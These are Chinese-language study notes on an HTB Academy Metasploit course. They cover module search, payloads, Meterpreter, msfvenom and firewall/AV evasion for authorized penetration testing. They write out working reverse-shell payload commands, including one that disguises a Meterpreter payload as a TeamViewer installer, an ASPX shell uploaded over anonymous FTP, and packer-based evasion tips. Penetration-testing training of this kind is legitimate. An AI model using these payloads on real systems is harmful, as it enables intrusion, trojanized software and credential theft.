本笔记根据 HTB Academy《使用 Metasploit 框架》模块整理,侧重学习主线、命令逻辑、课程示例和结果判断。所有示例仅适用于明确授权的实验环境。
1. 学习主线
Metasploit Framework 是以 Ruby 编写的模块化渗透测试框架。典型流程:
信息收集 → 搜索模块 → 阅读 info → 选择 Target/Payload → 配置参数 → 执行 → 验证 → 会话/后渗透
模块成功不等于漏洞影响已完整验证;失败也不必然说明目标不存在漏洞,还要检查版本、平台、参数、连通性、权限和 Payload。
2. 项目与目录
Framework 是开源命令行框架;Pro 是商业版,增加任务链、图形界面、报告、代理、VPN Pivot、扫描导入和团队协作等能力。
默认目录:
/usr/share/metasploit-framework
目录 作用 modules/ exploits、auxiliary、payloads、encoders、nops、post plugins/ 可加载到 msfconsole 的插件 scripts/ Meterpreter、资源文件和 Shell 脚本 tools/ 辅助、开发和枚举工具 data/、lib/ 数据文件、公共库和框架代码
ls /usr/share/metasploit-framework/modules
ls /usr/share/metasploit-framework/plugins/
ls /usr/share/metasploit-framework/scripts/
ls /usr/share/metasploit-framework/tools/

3. msfconsole
首次使用:
msfconsole
msfconsole -q
没有安装时:
sudo apt update
sudo apt install metasploit-framework
课程建议用系统包管理器更新,不再依赖旧的 msfupdate。
五阶段:
- Enumeration:主机、端口、服务和版本。
- Preparation:漏洞、模块、目标和参数。
- Exploitation:执行 Exploit/Payload。
- Privilege Escalation:已有会话上的提权评估。
- Post-Exploitation:信息、凭据、Loot 和 Pivot。

4. Modules:类型与搜索
类型 用途 auxiliary 扫描、枚举、模糊测试和辅助操作 exploits 利用漏洞并传递 Payload payloads 在目标上执行的代码或连接组件 encoders 编码、处理坏字符和格式 nops 提供 NOP sled post 会话后的信息、凭据和 Pivot plugins 扩展控制台
格式通常为:
<type>/<platform>/<service>/<name>
常用命令:
help search
search eternalromance
search eternalromance type:exploit
search type:exploit platform:windows cve:2021 rank:excellent
use 0
options
info
set RHOSTS 10.10.10.40
setg RHOSTS 10.10.10.40
setg LHOST 10.10.14.15
run
编号只是当前搜索结果索引。使用前核对完整路径、平台、Rank、Target 和 check 支持情况。
课程示例先用:
nmap -sV 10.10.10.40
确认 Windows/SMB 445 后再:
search ms17_010
5. Targets
Target 描述 Exploit 对具体系统、版本、架构和内存布局的适配:
show targets
info
set target <编号>
选择依赖操作系统、服务包、架构和版本。缓冲区溢出模块中错误 Target 可能导致崩溃或无会话;msfpescan 可辅助分析 PE 和返回地址,但仍需实测。
6. Payloads
选择 Payload 时考虑系统/架构、连接方向、网络可达性和是否需要 Meterpreter。
- reverse:目标主动连接攻击机。
- bind:目标监听,攻击机主动连接。
- staged:先小连接,再传输完整阶段。
- stageless:一次性携带完整 Payload。
- Meterpreter:会话和后渗透能力。
show payloads
set payload windows/meterpreter/reverse_tcp
show options
set LHOST tun0
set LPORT 4444
LHOST 必须是目标可达的攻击机地址,VPN 场景常用 tun0。
7. Encoders
编码器用于架构适配、坏字符处理、输出格式转换和有限的特征变化。多次编码并不等于免杀,现代 AV/EDR 还会使用启发式、机器学习和流量检测。
msfvenom -a x86 --platform windows \
-p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 \
-b "\x00" -f perl
msfvenom -a x86 --platform windows \
-p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 \
-e x86/shikata_ga_nai -f exe -o ./TeamViewerInstall.exe
8. Database
数据库保存主机、端口、服务、漏洞、凭据、Loot 和备注。
sudo service postgresql status
sudo systemctl start postgresql
sudo msfdb init
sudo msfdb status
sudo msfdb run
验证:
db_status
[*] Connected to msf. Connection type: PostgreSQL.
旧版本可能出现 Bundler without 方法错误;课程建议先更新 Metasploit,再重新初始化。连接异常时可尝试:
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
工作区、导入、扫描、备份:
workspace
workspace -a Target_1
workspace Target_1
db_import Target.xml
hosts
services
db_nmap -sV -sS 10.10.10.8
db_export -f xml backup.xml
优先导入 Nmap XML。常用对象:hosts、services、creds、loot、notes、vulns。筛选后用 -R 设置 RHOSTS 前再次核对范围。
9. Plugins 与 Mixins
默认插件目录:
/usr/share/metasploit-framework/plugins
ls /usr/share/metasploit-framework/plugins
加载:
load nessus
nessus_help
自定义插件示例:
git clone https://github.com/darkoperator/Metasploit-Plugins
sudo cp ./Metasploit-Plugins/pentest.rb /usr/share/metasploit-framework/plugins/pentest.rb
msfconsole -q
load pentest
help
不存在的插件会出现 cannot load such file。Mixins 是 Ruby 的复用机制,通过 include 让多个模块共享 HTTP 客户端、报告、清理等能力。
10. Sessions 与 Jobs
会话:
sessions
sessions -i 1
Meterpreter 中用 background 或 Ctrl+Z 返回控制台,然后可绑定 Post 模块:
use post/multi/recon/local_exploit_suggester
show options
set SESSION 1
run
后台作业:
jobs -h
exploit -j
jobs -l
kill <job_id>
jobs -K
旧监听器占用端口时先检查 Job,避免误杀仍在使用的会话。
11. Meterpreter
Meterpreter 被课程称为后渗透“瑞士军刀”:驻留内存、模块化、通道化通信,MSF6 中使用 AES 保护 Payload 通信。
meterpreter > help
命令 用途 getuid 查看身份 sysinfo 系统和架构 ps 进程列表 migrate 迁移进程 shell 目标系统 Shell background / bg 后台会话 sessions 切换会话 load 加载扩展 run 执行脚本/Post exit 结束会话
课程示例链路:数据库扫描 → 根据服务版本搜索 Exploit → 获得低权限会话 → 用 getuid、ps 判断 → 后台会话 → Local Exploit Suggester → 逐一验证候选提权 → 再收集凭据和秘密。Payload 文件可能在目标磁盘留下残留,清理也可能因权限失败。
12. 编写与导入模块
可从 ExploitDB 的 Metasploit 标签 筛选,也可用:
searchsploit nagios3
searchsploit -t Nagios3 --exclude=".py"
.rb 可能是 Ruby 脚本,但不一定是可加载模块。
用户模块目录:
~/.msf4/modules/
系统目录:
/usr/share/metasploit-framework/modules/
课程示例:
mkdir -p /usr/share/metasploit-framework/modules/exploits/unix/webapp
cp ~/Downloads/9861.rb \
/usr/share/metasploit-framework/modules/exploits/unix/webapp/nagios3_command_injection.rb
加载:
loadpath /usr/share/metasploit-framework/modules/
reload_all
search nagios3_command_injection
use exploit/unix/webapp/nagios3_command_injection
show options
命名使用小写、数字、下划线和 snake_case。移植 Python/PHP 脚本为 Ruby 模块时,重点调整 include Mixins、initialize 信息、register_options 和 Exploit 函数。课程用 Bludit 示例说明 HTTP 客户端、PHP Payload、数据库报告等 API 的组合,参考 Metasploit API。
13. MSFVenom
MSFVenom 合并旧的 msfpayload 与 msfencode,用于生成不同平台、架构、格式的 Payload。
课程的 FTP/IIS 示例:
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.10.14.5 LPORT=1337 -f aspx > reverse_shell.aspx
上传后启动 Handler:
ftp 10.10.10.5
anonymous
put reverse_shell.aspx
msfconsole -q
use multi/handler
set LHOST 10.10.14.5
set LPORT 1337
run
访问 <http://10.10.10.5/reverse_shell.aspx> 触发连接。Payload 与 Handler 的类型、地址和端口必须一致。
常见参数:-p Payload,-f 格式,-a 架构,--platform 平台,-e 编码器,-b 坏字符,-i 迭代,-x 模板,-k 保留模板行为,-o 输出文件。
14. Firewall 与 IDS/IPS 规避
Endpoint protection 保护单台主机;Perimeter protection 位于网络边界,隔离 outside/public 与 inside/private,DMZ 通常承载对外服务;Security policy 通过 allow/deny 规则控制流量、应用、用户和文件。
课程列出的检测方式:
- Signature-based:匹配已知攻击特征。
- Heuristic/Statistical:偏离正常基线时告警。
- Stateful protocol analysis:判断协议行为是否正常。
- SOC live monitoring:人工或自动化实时分析。
课程指出:编码和多次迭代不足以绕过现代 AV;Meterpreter AES 可减少直接匹配流量的机会,但不等于不可检测。严格出站规则下,课程以 DNS 外传案例说明利用允许通道会产生新的审计风险。
模板注入示例:
msfvenom windows/x86/meterpreter_reverse_tcp \
LHOST=10.10.14.2 LPORT=8080 \
-k -x ~/Downloads/TeamViewer_Setup.exe \
-e x86/shikata_ga_nai -a x86 --platform windows \
-o ~/Desktop/TeamViewer_Setup.exe -i 5
课程还展示了密码归档、去扩展名、再次归档可能改变静态扫描结果,但会触发“无法扫描的压缩包”告警。Packer 会组合程序、Payload 和解压代码;示例工具包括 UPX、Enigma Protector、MPRESS、ExeStealth、Morphine、MEW 和 Themida。编写缓冲区溢出模块时,应随机化 Offset、避免明显 NOP sled,并先在沙箱验证。
15. 2020 年 8 月 MSF 更新
MSF5 会话和 Payload 不与 MSF6 通信机制兼容,需要重新生成和建立。
课程总结:
- Windows、Python、Java、Mettle、PHP Meterpreter 支持端到端加密。
- 支持 SMBv3 客户端。
- Windows shellcode 使用新的多态生成例程。
- Meterpreter 通信使用 AES,SMBv3 加密增加签名检测难度。
- Windows Meterpreter DLL 通过序号解析函数;ReflectiveLoader 不再以普通文本存在;命令从字符串改为整数。
- 旧 Mimikatz 扩展由 Kiwi 继任。
- shellcode 静态生成改为随机化指令顺序。
16. 可复用清单
1. 明确授权范围与目标
2. 枚举服务与版本
3. 搜索候选模块
4. info / show options / show targets
5. 确认平台、架构、Target、Payload 和连接方向
6. 设置 RHOSTS、RPORT、LHOST、LPORT
7. 必要时先 check,再 run/exploit
8. 检查 sessions、getuid、sysinfo
9. 后台会话并使用 Post 模块继续验证
10. 记录 hosts、services、creds、loot、notes
11. 清理测试痕迹并导出数据库备份
17. 课程结论
Metasploit 的核心价值不是单独运行一个 Exploit,而是把搜索、配置、Payload、数据库、会话、Meterpreter 和后渗透模块组织成可追踪工作流。学习重点是用证据支持模块选择,区分 Exploit 成功、会话建立和权限提升,把规避技术理解为降低特征而非保证免检,并在授权环境中保留可复现记录。
课程中的 IP、端口、用户名、密码、文件名和权限结果均属于实验示例。实际操作前应重新核对目标、模块、Payload、监听地址和授权范围。
